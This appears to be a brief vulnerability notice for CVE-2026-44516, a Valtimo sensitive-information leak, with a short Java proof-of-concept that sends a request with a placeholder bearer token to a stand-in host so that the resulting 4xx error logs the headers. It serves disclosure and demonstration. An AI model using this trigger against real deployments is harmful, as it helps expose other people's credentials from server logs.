CVE-2026-44516 Valtimo敏感信息泄露漏洞

/* * PoC Concept: Trigger 4xx error to force logging of headers/body. * This demonstrates the behavior described in the CVE. */ import org.springframework.web.client.RestClient; import org.springframework.web.client.HttpClientErrorException; public class ValitmoLogLeakPoC { public static void main(String[] args) { RestClient client = RestClient.create(); try { // Simulate a request with a sensitive header String result = client.get() .uri("https://vulnerable-api.example.com/protected/resource") .header("Authorization", "Bearer SENSITIVE_TOKEN_HERE") .retrieve() .body(String.class); } catch (HttpClientErrorException e) { // Vulnerable behavior: The application logs the exception 'e', // which contains the full request headers and body at ERROR level. System.err.println("Check server logs for leaked token."); throw e; } } }